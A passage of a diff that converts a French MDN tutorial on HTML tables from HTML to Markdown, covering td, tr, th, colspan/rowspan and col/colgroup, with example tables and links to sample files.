ici](https://github.com/mdn/learning-area/blob/master/html/tables/basic/minimal-table.css), et également [un exemple HTML d'application de cette feuille de style là](https://github.com/mdn/learning-area/blob/master/html/tables/basic/blank-template.html) — ensemble ils vous donneront un bon point de départ pour expérimenter sur les tableaux HTML. -<p>Vous pouvez également <a href="https://mdn.github.io/learning-area/html/tables/assessment-finished/planets-data.html">regarder sur l'exemple réel</a> sur GitHub ! Vous remarquerez sur celui-ci que le tableau est légèrement plus lisible — car le tableau figurant ci-dessus présente un style minimal, alors que sa version sur GitHub est liée à un CSS plus signifiant.</p> +### Quand NE PAS utiliser de tableaux en HTML ? -<p>Ne vous faites pas d'illusions ; pour obtenir un tableau avec un certain effet sur le web, vous devez fournir un minimum d'informations de style avec <a href="/fr/docs/Learn/CSS">CSS</a>, ainsi qu'une structure solide avec HTML. Dans ce module nous nous concentrons sur la partie HTML ; pour en savoir plus sur la partie CSS, vous devrez lire notre article <a href="/fr/docs/Learn/CSS/Styling_boxes/Styling_tables">Style et tableaux</a> quand vous aurez fini ici.</p> +Les tableaux HTML ne doivent être utilisés que pour des données tabulaires — c'est pour cela qu'ils sont conçus. Malheureusement, beaucoup de gens ont utilisé les tableaux HTML pour organiser des pages Web, par exemple : une ligne pour contenir l'en-tête, une ligne pour les colonnes de contenu, une ligne pour le pied de page, etc. Vous pouvez trouver plus de détails et un exemple avec [Mises en page](/fr/docs/Learn/Accessibility/HTML#Page_layouts) dans notre [Module d'apprentissage à l'Accessibilité](/fr/docs/Learn/Accessibility). Cette dispostion a été couramment utilisée car la prise en charge des CSS parmi les navigateurs avait pour coutume d'être effroyable ; ces mises en page sont beaucoup moins fréquentes de nos jours, mais vous pouvez toujours les voir dans certains recoins du Web. -<p>Nous n'approfondirons pas le CSS dans ce module, mais nous avons écrit une feuille de style minimale CSS à utiliser ici, feuille de style qui rendra les tableaux plus lisibles qu'avec un format par défaut sans style. Vous trouverez cette <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/minimal-table.css">feuille de style ici</a>, et également <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/blank-template.html">un exemple HTML d'application de cette feuille de style là</a> — ensemble ils vous donneront un bon point de départ pour expérimenter sur les tableaux HTML.</p> +Bref, utiliser les tableaux pour la mise en page [au lieu des techniques des CSS](/fr/docs/Learn/CSS/CSS_layout) est une mauvaise idée. En voici les principales raisons : -<h3 id="Quand_NE_PAS_utiliser_de_tableaux_en_HTML">Quand NE PAS utiliser de tableaux en HTML ?</h3> +1. **Les tableaux de mise en page diminuent l'accessibilité aux malvoyants** : les [lecteurs d'écran](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Screenreaders), utilisés par les non-voyants, interprêtent les balises d'une page HTML et lisent à haute voix le contenu à l'utilisateur. Comme les tables ne sont pas le bon outil pour la mise en page et que le balisage est plus complexe qu'avec les techniques de mise en page des CSS, la sortie des lecteurs d'écran sera source de confusion pour leurs utilisateurs. +2. **Les tables produisent de la bouillie :** Comme mentionné ci-dessus, les mises en page sur la base de tableaux comportent généralement des structures de balisage plus complexes que des techniques de mise en page appropriées. Le code résultant sera plus difficile à écrire, à maintenir et à déboguer. +3. **Les tableaux ne s'adaptent pas automatiquement** : Si vous utilisez les propriétés de mise en page ({{htmlelement("header")}}, {{htmlelement("section")}}, {{htmlelement("article")}} ou {{htmlelement("div")}}), leur largeur est par défaut 100% de celle du parent. Par contre, les tableaux sont dimensionnés en fonction de leur contenu par défaut, de sorte que des mesures supplémentaires sont nécessaires pour que le style du tableau fonctionne effectivement sur les différents types d'écran. -<p>Les tableaux HTML ne doivent être utilisés que pour des données tabulaires — c'est pour cela qu'ils sont conçus. Malheureusement, beaucoup de gens ont utilisé les tableaux HTML pour organiser des pages Web, par exemple : une ligne pour contenir l'en-tête, une ligne pour les colonnes de contenu, une ligne pour le pied de page, etc. Vous pouvez trouver plus de détails et un exemple avec <a href="/fr/docs/Learn/Accessibility/HTML#Page_layouts">Mises en page</a> dans notre <a href="/fr/docs/Learn/Accessibility">Module d'apprentissage à l'Accessibilité</a>. Cette dispostion a été couramment utilisée car la prise en charge des CSS parmi les navigateurs avait pour coutume d'être effroyable ; ces mises en page sont beaucoup moins fréquentes de nos jours, mais vous pouvez toujours les voir dans certains recoins du Web.</p> +## Apprentissage actif : créer votre premier tableau -<p>Bref, utiliser les tableaux pour la mise en page <a href="/fr/docs/Learn/CSS/CSS_layout">au lieu des techniques des CSS</a> est une mauvaise idée. En voici les principales raisons :</p> +Nous avons assez parlé théorie, alors, plongeons dans un exemple pratique et construisons un tableau simple. -<ol> - <li><strong>Les tableaux de mise en page diminuent l'accessibilité aux malvoyants </strong>: les <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Screenreaders">lecteurs d'écran</a>, utilisés par les non-voyants, interprêtent les balises d'une page HTML et lisent à haute voix le contenu à l'utilisateur. Comme les tables ne sont pas le bon outil pour la mise en page et que le balisage est plus complexe qu'avec les techniques de mise en page des CSS, la sortie des lecteurs d'écran sera source de confusion pour leurs utilisateurs.</li> - <li><strong>Les tables produisent de la bouillie :</strong> Comme mentionné ci-dessus, les mises en page sur la base de tableaux comportent généralement des structures de balisage plus complexes que des techniques de mise en page appropriées. Le code résultant sera plus difficile à écrire, à maintenir et à déboguer.</li> - <li><strong>Les tableaux ne s'adaptent pas automatiquement </strong>: Si vous utilisez les propriétés de mise en page ({{htmlelement("header")}}, {{htmlelement("section")}}, {{htmlelement("article")}} ou {{htmlelement("div")}}), leur largeur est par défaut 100% de celle du parent. Par contre, les tableaux sont dimensionnés en fonction de leur contenu par défaut, de sorte que des mesures supplémentaires sont nécessaires pour que le style du tableau fonctionne effectivement sur les différents types d'écran.</li> -</ol> +1. Avant tout, faites une copie locale de [blank-template.html](https://github.com/mdn/learning-area/blob/master/html/tables/basic/blank-template.html) et [minimal-table.css](https://github.com/mdn/learning-area/blob/master/html/tables/basic/minimal-table.css) dans un nouveau répertoire de votre ordinateur. +2. Le contenu de chaque tableau est encadré par ces deux balises : **[`<table></table>`](/fr/docs/Web/HTML/Element/table)**. Ajoutez‑les dans le corps de votre HTML. +3. Le plus petit conteneur d'un tableau est la cellule ; elle est créée avec l'élément **[`<td>`](/fr/docs/Web/HTML/Element/td)** (« td » comme « tableau données »). Ajoutez ceci entre les balises du tableau : -<h2 id="Apprentissage_actif_créer_votre_premier_tableau">Apprentissage actif : créer votre premier tableau</h2> + ```html + <td>Bonjour, je suis votre première cellule.</td> + ``` -<p>Nous avons assez parlé théorie, alors, plongeons dans un exemple pratique et construisons un tableau simple.</p> +4. Si nous voulons une rangée de quatre cellules, nous devons copier la première trois fois. Mettez à jour le contenu du tableau pour avoir quelque chose comme : -<ol> - <li>Avant tout, faites une copie locale de <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/blank-template.html">blank-template.html</a> et <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/minimal-table.css">minimal-table.css</a> dans un nouveau répertoire de votre ordinateur.</li> - <li>Le contenu de chaque tableau est encadré par ces deux balises : <strong><code><a href="/fr/docs/Web/HTML/Element/table"><table></table></a></code></strong>. Ajoutez‑les dans le corps de votre HTML.</li> - <li>Le plus petit conteneur d'un tableau est la cellule ; elle est créée avec l'élément <strong><code><a href="/fr/docs/Web/HTML/Element/td"><td></a></code></strong> (« td » comme « tableau données »). Ajoutez ceci entre les balises du tableau : - <pre class="brush: html"><td>Bonjour, je suis votre première cellule.</td></pre> - </li> - <li>Si nous voulons une rangée de quatre cellules, nous devons copier la première trois fois. Mettez à jour le contenu du tableau pour avoir quelque chose comme : - <pre class="brush: html"><td>Bonjour, je suis votre première cellule </td> -<td>je suis votre deuxième cellule</td> -<td>je suis votre troisième cellule</td> -<td>je suis votre quatrième cellule</td></pre> - </li> -</ol> + ```html + <td>Bonjour, je suis votre première cellule </td> + <td>je suis votre deuxième cellule</td> + <td>je suis votre troisième cellule</td> + <td>je suis votre quatrième cellule</td> + ``` -<p>Comme vous le verrez, les cellules ne sont pas placées les unes en dessous des autres, mais elles sont automatiquement affichées dans une même ligne. chaque élément <code><td></code> crée une cellule simple et ensemble elles forment la première ligne. Toutes les cellules que nous ajoutons allongent la ligne.</p> +Comme vous le verrez, les cellules ne sont pas placées les unes en dessous des autres, mais elles sont automatiquement affichées dans une même ligne. chaque élément `<td>` crée une cellule simple et ensemble elles forment la première ligne. Toutes les cellules que nous ajoutons allongent la ligne. -<p>Pour empêcher cette ligne de croître et commencer à placer les cellules suivantes sur une deuxième ligne, nous devons utiliser la balise <strong><code><a href="/fr/docs/Web/HTML/Element/tr"><tr></a></code></strong> (« tr » comme « table rangée »). Étudions cela maintenant.</p> +Pour empêcher cette ligne de croître et commencer à placer les cellules suivantes sur une deuxième ligne, nous devons utiliser la balise **[`<tr>`](/fr/docs/Web/HTML/Element/tr)** (« tr » comme « table rangée »). Étudions cela maintenant. -<ol> - <li>Placez les quatre cellules que vous avez créées entre deux balises <code><tr></code> ainsi : +1. Placez les quatre cellules que vous avez créées entre deux balises `<tr>` ainsi : - <pre class="brush: html"><tr> - <td>Bonjour, je suis votre première cellule </td> - <td>je suis votre deuxième cellule </td> - <td>je suis votre troisième cellule </td> - <td>je suis votre quatrième cellule </td> -</tr></pre> - </li> - <li>Maintenant, vous avez fait une ligne, faites en encore une ou deux — chaque ligne doit être encadrée de <code><tr></code>, et comprend chaque cellule encadrée par <code><td></code>.</li> -</ol> + ```html + <tr> + <td>Bonjour, je suis votre première cellule </td> + <td>je suis votre deuxième cellule </td> + <td>je suis votre troisième cellule </td> + <td>je suis votre quatrième cellule </td> + </tr> + ``` -<p>Il devrait en résulter un tableau qui ressemble à :</p> +2. Maintenant, vous avez fait une ligne, faites en encore une ou deux — chaque ligne doit être encadrée de `<tr>`, et comprend chaque cellule encadrée par `<td>`. + +Il devrait en résulter un tableau qui ressemble à : <table> - <tbody> - <tr> - <td>Bonjour, je suis votre première cellule.</td> - <td>je suis votre deuxième cellule.</td> - <td>je suis votre troisième cellule</td> - <td>je suis votre quatrième cellule</td> - </tr> - <tr> - <td>Deuxième ligne, première cellule.</td> - <td>Cellule 2.</td> - <td>Cellule 3.</td> - <td>Cellule 4.</td> - </tr> - </tbody> + <tbody> + <tr> + <td>Bonjour, je suis votre première cellule.</td> + <td>je suis votre deuxième cellule.</td> + <td>je suis votre troisième cellule</td> + <td>je suis votre quatrième cellule</td> + </tr> + <tr> + <td>Deuxième ligne, première cellule.</td> + <td>Cellule 2.</td> + <td>Cellule 3.</td> + <td>Cellule 4.</td> + </tr> + </tbody> </table> -<div class="note"> -<p><strong>Note :</strong> Vous pouvez également trouver cela sur GitHub <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/simple-table.html">simple-table.html</a> (<a href="http://mdn.github.io/learning-area/html/tables/basic/simple-table.html">voir en direct aussi</a>).</p> -</div> - -<h2 id="Ajouter_des_en-têtes_avec_<th>">Ajouter des en-têtes avec <th></h2> - -<p>Intéressons-nous maintenant aux en-têtes du tableau — cellules spéciales qui débutent une ligne ou une colonne et définissent le type de données que contiennent la rangée ou la colonne (à titre d'exemple, voir les cellules "Personne" et "Âge" dans le premier exemple illustré dans cet article). Pour comprendre pourquoi ils sont utiles, regardez l'exemple du tableau suivant. Tout d'abord, le code source :</p> - -<pre class="brush: html"><table> - <tr> - <td>&nbsp;</td> - <td>Knocky</td> - <td>Flor</td> - <td>Ella</td> - <td>Juan</td> - </tr> - <tr> - <td>Race</td> - <td>Jack Russell</td> - <td>Poodle</td> - <td>Streetdog</td> - <td>Cocker Spaniel</td> - </tr> - <tr> - <td>Age</td> - <td>16</td> - <td>9</td> - <td>10</td> - <td>5</td> - </tr> - <tr> - <td>Propriétaire</td> - <td>Belle-mère</td> - <td>Moi</td> - <td>Moi</td> - <td>Belle-soeur</td> - </tr> - <tr> - <td>Habitudes alimentaires</td> - <td>Mange tous les restes</td> - <td>Grignotte la nourriture</td> - <td>Mange copieusement</td> - <td>Mange jusqu'à ce qu'il éclate</td> - </tr> -</table></pre> - -<p>Maintenant, le rendu du tableau réel :</p> +> **Note :** Vous pouvez également trouver cela sur GitHub [simple-table.html](https://github.com/mdn/learning-area/blob/master/html/tables/basic/simple-table.html) ([voir en direct aussi](http://mdn.github.io/learning-area/html/tables/basic/simple-table.html)). + +## Ajouter des en-têtes avec \<th> + +Intéressons-nous maintenant aux en-têtes du tableau — cellules spéciales qui débutent une ligne ou une colonne et définissent le type de données que contiennent la rangée ou la colonne (à titre d'exemple, voir les cellules "Personne" et "Âge" dans le premier exemple illustré dans cet article). Pour comprendre pourquoi ils sont utiles, regardez l'exemple du tableau suivant. Tout d'abord, le code source : +```html <table> - <tbody> <tr> - <td></td> - <td>Knocky</td> - <td>Flor</td> - <td>Ella</td> - <td>Juan</td> + <td> </td> + <td>Knocky</td> + <td>Flor</td> + <td>Ella</td> + <td>Juan</td> </tr> <tr> - <td>Race</td> - <td>Jack Russell</td> - <td>Poodle</td> - <td>Streetdog</td> - <td>Cocker Spaniel</td> + <td>Race</td> + <td>Jack Russell</td> + <td>Poodle</td> + <td>Streetdog</td> + <td>Cocker Spaniel</td> </tr> <tr> - <td>Age</td> - <td>16</td> - <td>9</td> - <td>10</td> - <td>5</td> + <td>Age</td> + <td>16</td> + <td>9</td> + <td>10</td> + <td>5</td> </tr> <tr> - <td>Propriétaire</td> - <td>Belle-mère</td> - <td>Moi</td> - <td>Moi</td> - <td>Belle-soeur</td> + <td>Propriétaire</td> + <td>Belle-mère</td> + <td>Moi</td> + <td>Moi</td> + <td>Belle-soeur</td> </tr> <tr> - <td>Habitudes alimentaires</td> - <td>Mange tous les restes</td> - <td>Grignotte la nourriture</td> - <td>Mange copieusement</td> - <td>Mange jusqu'à ce qu'il éclate</td> + <td>Habitudes alimentaires</td> + <td>Mange tous les restes</td> + <td>Grignotte la nourriture</td> + <td>Mange copieusement</td> + <td>Mange jusqu'à ce qu'il éclate</td> </tr> - </tbody> </table> +``` -<p>Le problème ici c'est que, bien que vous puissiez comprendre le tableau, il n'est pas aussi facile de croiser les données que cela pourrait être. Si les en-têtes de colonnes et de lignes se démarquaient d'une manière ou d'une autre, ce serait mieux.</p> +Maintenant, le rendu du tableau réel : -<h3 id="Apprentissage_actif_en-tête_de_tableau">Apprentissage actif : en-tête de tableau</h3> +<table> + <tbody> + <tr> + <td></td> + <td>Knocky</td> + <td>Flor</td> + <td>Ella</td> + <td>Juan</td> + </tr> + <tr> + <td>Race</td> + <td>Jack Russell</td> + <td>Poodle</td> + <td>Streetdog</td> + <td>Cocker Spaniel</td> + </tr> + <tr> + <td>Age</td> + <td>16</td> + <td>9</td> + <td>10</td> + <td>5</td> + </tr> + <tr> + <td>Propriétaire</td> + <td>Belle-mère</td> + <td>Moi</td> + <td>Moi</td> + <td>Belle-soeur</td> + </tr> + <tr> + <td>Habitudes alimentaires</td> + <td>Mange tous les restes</td> + <td>Grignotte la nourriture</td> + <td>Mange copieusement</td> + <td>Mange jusqu'à ce qu'il éclate</td> + </tr> + </tbody> +</table> -<p>Améliorons ce tableau.</p> +Le problème ici c'est que, bien que vous puissiez comprendre le tableau, il n'est pas aussi facile de croiser les données que cela pourrait être. Si les en-têtes de colonnes et de lignes se démarquaient d'une manière ou d'une autre, ce serait mieux. -<ol> - <li>En premier lieu, faites une copie des fichiers <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/dogs-table.html">dogs-table.html</a> et <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/minimal-table.css">minimal-table.css</a> dans un nouveau répertoire sur votre ordinateur. Le contenu HTML est similaire à l'exemple « Dogs » ci-dessus.</li> - <li>Pour reconnaître les en-têtes de tableau en tant qu'en-têtes, visuellement et sémantiquement, vous pouvez utiliser la balise <strong><code><a href="/fr/docs/Web/HTML/Element/th"><th></a></code></strong> (« th » comme « table header » ou en-tête de tableau). Il fonctionne exactement comme la balise <code><td></code>, à ceci près qu'il indique un en-tête et non une cellule normale. Allez dans le code HTML, et remplacez tous les <code><td></code> des cellules entourant le tableau par des <code><th></code>.</li> - <li>Enregistrez votre HTML et chargez-le dans un navigateur. Vous devriez voir que les en-têtes ressemblent maintenant à des en-têtes.</li> -</ol> +### Apprentissage actif : en-tête de tableau -<div class="note"> -<p><strong>Note :</strong> Vous pouvez trouver notre exemple achevé <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/dogs-table-fixed.html">dogs-table-fixed.html</a> sur GitHub (<a href="http://mdn.github.io/learning-area/html/tables/basic/dogs-table-fixed.html">voir en direct aussi</a>).</p> -</div> +Améliorons ce tableau. -<h3 id="Pourquoi_les_en-têtes_sont-ils_utiles">Pourquoi les en-têtes sont-ils utiles ?</h3> +1. En premier lieu, faites une copie des fichiers [dogs-table.html](https://github.com/mdn/learning-area/blob/master/html/tables/basic/dogs-table.html) et [minimal-table.css](https://github.com/mdn/learning-area/blob/master/html/tables/basic/minimal-table.css) dans un nouveau répertoire sur votre ordinateur. Le contenu HTML est similaire à l'exemple « Dogs » ci-dessus. +2. Pour reconnaître les en-têtes de tableau en tant qu'en-têtes, visuellement et sémantiquement, vous pouvez utiliser la balise **[`<th>`](/fr/docs/Web/HTML/Element/th)** (« th » comme « table header » ou en-tête de tableau). Il fonctionne exactement comme la balise `<td>`, à ceci près qu'il indique un en-tête et non une cellule normale. Allez dans le code HTML, et remplacez tous les `<td>` des cellules entourant le tableau par des `<th>`. +3. Enregistrez votre HTML et chargez-le dans un navigateur. Vous devriez voir que les en-têtes ressemblent maintenant à des en-têtes. -<p>Nous avons déjà partiellement répondu à cette question — il vous est plus facile de trouver les données que vous cherchez quand les en-têtes sont marqués clairement, et la conception globale du tableau paraît meilleure.</p> +> **Note :** Vous pouvez trouver notre exemple achevé [dogs-table-fixed.html](https://github.com/mdn/learning-area/blob/master/html/tables/basic/dogs-table-fixed.html) sur GitHub ([voir en direct aussi](http://mdn.github.io/learning-area/html/tables/basic/dogs-table-fixed.html)). -<div class="note"> -<p><strong>Note :</strong> Les en-têtes de tableau sont accompagnés d'un style par défaut — ils sont en gras et centrés même si vous n'ajoutez pas votre propre style pour les démarquer.</p> -</div> +### Pourquoi les en-têtes sont-ils utiles ? -<p>Les en-têtes de tableau ont un autre avantage — avec l'attribut <code>scope</code> (que nous étudierons dans le prochain article), ils rendent les tableaux plus accessibles en associant chaque en-tête à toutes les données des cellules d'une ligne ou d'une colonne. Les lecteurs d'écran peuvent alors lire toute une ligne ou une colonne de données, ce qui peut être très utile.</p> +Nous avons déjà partiellement répondu à cette question — il vous est plus facile de trouver les données que vous cherchez quand les en-têtes sont marqués clairement, et la conception globale du tableau paraît meilleure. -<h2 id="Étendre_des_cellules_sur_plusieurs_lignes_ou_colonnes">Étendre des cellules sur plusieurs lignes ou colonnes</h2> +> **Note :** Les en-têtes de tableau sont accompagnés d'un style par défaut — ils sont en gras et centrés même si vous n'ajoutez pas votre propre style pour les démarquer. -<p>Parfois, nous voulons qu'une cellule couvre plusieurs lignes ou colonnes. Prenez l'exemple simple suivant, qui montre le nom d'animaux communs. Dans certains cas, nous voulons montrer les noms du mâle et de la femelle à côté du nom générique de l'animal. Parfois nous ne le faisons pas, et nous voulons alors que le nom générique de l'animal s'étende sur toute la largeur du tableau.</p> +Les en-têtes de tableau ont un autre avantage — avec l'attribut `scope` (que nous étudierons dans le prochain article), ils rendent les tableaux plus accessibles en associant chaque en-tête à toutes les données des cellules d'une ligne ou d'une colonne. Les lecteurs d'écran peuvent alors lire toute une ligne ou une colonne de données, ce qui peut être très utile. -<p>Le code initial ressemble à cela :</p> +## Étendre des cellules sur plusieurs lignes ou colonnes -<pre class="brush: html"><table> - <tr> - <th>Animaux</th> - </tr> - <tr> - <th>Hippopotame</th> - </tr> - <tr> - <th>Cheval</th> - <td>Jument</td> - </tr> - <tr> - <td>Étalon</td> - </tr> - <tr> - <th>Crocodile</th> - </tr> - <tr> - <th>Poulet</th> - <td>Coq</td> - </tr> - <tr> - <td>Coq</td> - </tr> -</table></pre> +Parfois, nous voulons qu'une cellule couvre plusieurs lignes ou colonnes. Prenez l'exemple simple suivant, qui montre le nom d'animaux communs. Dans certains cas, nous voulons montrer les noms du mâle et de la femelle à côté du nom générique de l'animal. Parfois nous ne le faisons pas, et nous voulons alors que le nom générique de l'animal s'étende sur toute la largeur du tableau. -<p>Mais le résultat ne nous donne pas ce que nous voulions :</p> +Le code initial ressemble à cela : +```html <table> - <tbody> <tr> - <th>Animaux</th> + <th>Animaux</th> </tr> <tr> - <th>Hippopotame</th> + <th>Hippopotame</th> </tr> <tr> - <th>Cheval</th> - <td>Jument</td> + <th>Cheval</th> + <td>Jument</td> </tr> <tr> - <td>Étalon</td> + <td>Étalon</td> </tr> <tr> - <th>Crocodile</th> + <th>Crocodile</th> </tr> <tr> - <th>Poulet</th> - <td>Coq</td> + <th>Poulet</th> + <td>Coq</td> </tr> <tr> - <td>Coq</td> + <td>Coq</td> </tr> - </tbody> </table> +``` -<p>Nous avons besoin d'un moyen pour étendre "Animaux", "Hippopotame" et "Crocodile" sur deux colonnes, and "Cheval" et "Poulet" sur deux lignes. Heureusement, les en-têtes de tableau et les cellules ont les attributs <code>colspan</code> et <code>rowspan</code>, ce qui nous permet justement de faire cela. Les deux acceptent une valeur numérique correspondant au nombre de colonnes ou de lignes à couvrir. Par exemple, <code>colspan="2"</code> génère une cellule sur deux colonnes.</p> +Mais le résultat ne nous donne pas ce que nous voulions : -<p>Utilisons <code>colspan</code> et <code>rowspan</code> pour améliorer ce tableau.</p> +<table> + <tbody> + <tr> + <th>Animaux</th> + </tr> + <tr> + <th>Hippopotame</th> + </tr> + <tr> + <th>Cheval</th> + <td>Jument</td> + </tr> + <tr> + <td>Étalon</td> + </tr> + <tr> + <th>Crocodile</th> + </tr> + <tr> + <th>Poulet</th> + <td>Coq</td> + </tr> + <tr> + <td>Coq</td> + </tr> + </tbody> +</table> -<ol> - <li>Tout d'abord, faites une copie locale de nos fichiers <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/animals-table.html">animals-table.html</a> et <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/minimal-table.css">minimal-table.css</a> dans un nouveau répertoire sur votre ordinateur. Le HTML contient le même exemple d'animaux vu ci-dessus.</li> - <li>Ensuite, utilisez <code>colspan</code> pour mettre « Animaux », « Hippopotame » et « Crocodile » sur deux colonnes.</li> - <li>Enfin, utilisez <code>rowspan</code> pour mettre « Cheval » and « Poulet » sur deux lignes.</li> - <li>Enregistrez et ouvrez votre code sur un navigateur pour voir l'amélioration.</li> -</ol> +Nous avons besoin d'un moyen pour étendre "Animaux", "Hippopotame" et "Crocodile" sur deux colonnes, and "Cheval" et "Poulet" sur deux lignes. Heureusement, les en-têtes de tableau et les cellules ont les attributs `colspan` et `rowspan`, ce qui nous permet justement de faire cela. Les deux acceptent une valeur numérique correspondant au nombre de colonnes ou de lignes à couvrir. Par exemple, `colspan="2"` génère une cellule sur deux colonnes. -<div class="note"> -<p><strong>Note :</strong> Vous pouvez trouver l'exemple achevé dans <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/animals-table-fixed.html">animals-table-fixed.html</a> sur GitHub (<a href="http://mdn.github.io/learning-area/html/tables/basic/animals-table-fixed.html">voir en direct aussi</a>).</p> -</div> +Utilisons `colspan` et `rowspan` pour améliorer ce tableau. -<h2 id="Attribuer_un_style_commun_aux_colonnes">Attribuer un style commun aux colonnes</h2> +1. Tout d'abord, faites une copie locale de nos fichiers [animals-table.html](https://github.com/mdn/learning-area/blob/master/html/tables/basic/animals-table.html) et [minimal-table.css](https://github.com/mdn/learning-area/blob/master/html/tables/basic/minimal-table.css) dans un nouveau répertoire sur votre ordinateur. Le HTML contient le même exemple d'animaux vu ci-dessus. +2. Ensuite, utilisez `colspan` pour mettre « Animaux », « Hippopotame » et « Crocodile » sur deux colonnes. +3. Enfin, utilisez `rowspan` pour mettre « Cheval » and « Poulet » sur deux lignes. +4. Enregistrez et ouvrez votre code sur un navigateur pour voir l'amélioration. -<p>Il y a une dernière fonctionnalité dont nous devons parler dans cet article avant de passer à autre chose. HTML a une méthode de définition des styles pour une colonne entière de données en un seul endroit — les éléments <strong><code><a href="/fr/docs/Web/HTML/Element/col"><col></a></code></strong> and <strong><code><a href="/fr/docs/Web/HTML/Element/colgroup"><colgroup></a></code></strong>. Ils existent parce qu'il peut être ennuyeux et inefficace de préciser le style dans chaque colonne — vous devez généralement spécifier les éléments de style dans chaque <code><td></code> ou <code><th></code> de la colonne, ou utiliser un selecteur complexe tel que {{cssxref(":nth-child()")}}.</p> +> **Note :** Vous pouvez trouver l'exemple achevé dans [animals-table-fixed.html](https://github.com/mdn/learning-area/blob/master/html/tables/basic/animals-table-fixed.html) sur GitHub ([voir en direct aussi](http://mdn.github.io/learning-area/html/tables/basic/animals-table-fixed.html)). -<h3>Premier exemple</h3> -<p>Observez l'exemple simple suivant :</p> +## Attribuer un style commun aux colonnes -<pre class="brush: html"><table> - <tr> - <th>Data 1</th> - <th style="background-color: yellow">Data 2</th> - </tr> - <tr> - <td>Calcutta</td> - <td style="background-color: yellow">Orange</td> - </tr> - <tr> - <td>Robots</td> - <td style="background-color: yellow">Jazz</td> - </tr> -</table></pre> +Il y a une dernière fonctionnalité dont nous devons parler dans cet article avant de passer à autre chose. HTML a une méthode de définition des styles pour une colonne entière de données en un seul endroit — les éléments **[`<col>`](/fr/docs/Web/HTML/Element/col)** and **[`<colgroup>`](/fr/docs/Web/HTML/Element/colgroup)**. Ils existent parce qu'il peut être ennuyeux et inefficace de préciser le style dans chaque colonne — vous devez généralement spécifier les éléments de style dans chaque `<td>` ou `<th>` de la colonne, ou utiliser un selecteur complexe tel que {{cssxref(":nth-child()")}}. -<p>Ce qui nous donne comme résultat :</p> -<p>{{EmbedLiveSample("Premier_exemple")}}</p> +### Premier exemple + +Observez l'exemple simple suivant : + +```html +<table> + <tr> + <th>Data 1</th> + <th style="background-color: yellow">Data 2</th> + </tr> + <tr> + <td>Calcutta</td> + <td style="background-color: yellow">Orange</td> + </tr> + <tr> + <td>Robots</td> + <td style="background-color: yellow">Jazz</td> + </tr> +</table> +``` -<p>Ce n'est pas idéal, car nous devons répéter les informations de style dans les trois cellules de la colonne (nous aurions probablement défini une <code>classe</code> dans un projet réel et spécifié le style dans une feuille de style séparée). À la place, nous pouvons préciser l'information une seule fois dans un élément <code><col></code>. Les éléments <code><col></code> sont utilisés dans un conteneur <code><colgroup></code> juste en-dessous de la balise <code><table></code>. Nous pourrions créer le même effet que celui vu plus haut en spécifiant notre tableau comme suit :</p> +Ce qui nous donne comme résultat : -<h3>Autres exemples</h3> +{{EmbedLiveSample("Premier_exemple")}} -<pre class="brush: html"> <table> - <colgroup> - <col> - <col style="background-color: yellow"> - </colgroup> - <tr> - <th>Data 1</th> - <th>Data 2</th> - </tr> - <tr> - <td>Calcutta</td> - <td>Orange</td> - </tr> - <tr> - <td>Robots</td> - <td>Jazz</td> - </tr> -</table></pre> +Ce n'est pas idéal, car nous devons répéter les informations de style dans les trois cellules de la colonne (nous aurions probablement défini une `classe` dans un projet réel et spécifié le style dans une feuille de style séparée). À la place, nous pouvons préciser l'information une seule fois dans un élément `<col>`. Les éléments `<col>` sont utilisés dans un conteneur `<colgroup>` juste en-dessous de la balise `<table>`. Nous pourrions créer le même effet que celui vu plus haut en spécifiant notre tableau comme suit : -<p>En effet, nous définissons deux « styles de colonnes », les informations de style pour chaque colonne. Nous n'appliquons pas de style pour la première colonne, mais nous devons inclure un élément <code><col></code> vide — si nous ne le faisons pas, le style indiqué s'appliquera à la première colonne.</p> +### Autres exemples -<p>Si nous voulions appliquer les informations de style aux deux colonnes, nous devrions juste inclure un élément <code><col></code> avec un attribut span, comme ceci :</p> +```html + <table> + <colgroup> + <col> + <col style="background-color: yellow"> + </colgroup> + <tr> + <th>Data 1</th> + <th>Data 2</th> + </tr> + <tr> + <td>Calcutta</td> + <td>Orange</td> + </tr> + <tr> + <td>Robots</td> + <td>Jazz</td> + </tr> +</table> +``` -<pre class="brush: html"><colgroup> - <col style="background-color: yellow" span="2"> -</colgroup></pre> +En effet, nous définissons deux « styles de colonnes », les informations de style pour chaque colonne. Nous n'appliquons pas de style pour la première colonne, mais nous devons inclure un élément `<col>` vide — si nous ne le faisons pas, le style indiqué s'appliquera à la première colonne. -<p>Comme <code>colspan</code> et <code>rowspan</code>, <code>span</code> reçoit une valeur numérique qui précise le nombre de colonnes sur lesquelles le style s'applique.</p> +Si nous voulions appliquer les informations de style aux deux colonnes, nous devrions juste inclure un élément `<col>` avec un attribut span, comme ceci : -<h3 id="Apprentissage_actif_colgroup_et_col">Apprentissage actif : <code>colgroup</code> et <code>col</code></h3> +```html +<colgroup> + <col style="background-color: yellow" span="2"> +</colgroup> +``` -<p>Maintenant, il est temps de vous y mettre vous-même.</p> +Comme `colspan` et `rowspan`, `span` reçoit une valeur numérique qui précise le nombre de colonnes sur lesquelles le style s'applique. -<p>Ci-dessous, vous pouvez voir le planning d'un professeur de langues. Le vendredi, elle a une nouvelle classe pour l'enseignement du néerlandais toute la journée, mais elle enseigne aussi l'allemand pendant de courtes périodes les mardis et jeudis. Elle veut souligner les colonnes des jours où elle enseigne.</p> +### Apprentissage actif : `colgroup` et `col` -<p>{{EmbedGHLiveSample("learning-area/html/tables/basic/timetable-fixed.html", '100%', 320)}}</p> +Maintenant, il est temps de vous y mettre vous-même. -<p>Recréez le tableau en suivant les étapes ci-dessous.</p> +Ci-dessous, vous pouvez voir le planning d'un professeur de langues. Le vendredi, elle a une nouvelle classe pour l'enseignement du néerlandais toute la journée, mais elle enseigne aussi l'allemand pendant de courtes périodes les mardis et jeudis. Elle veut souligner les 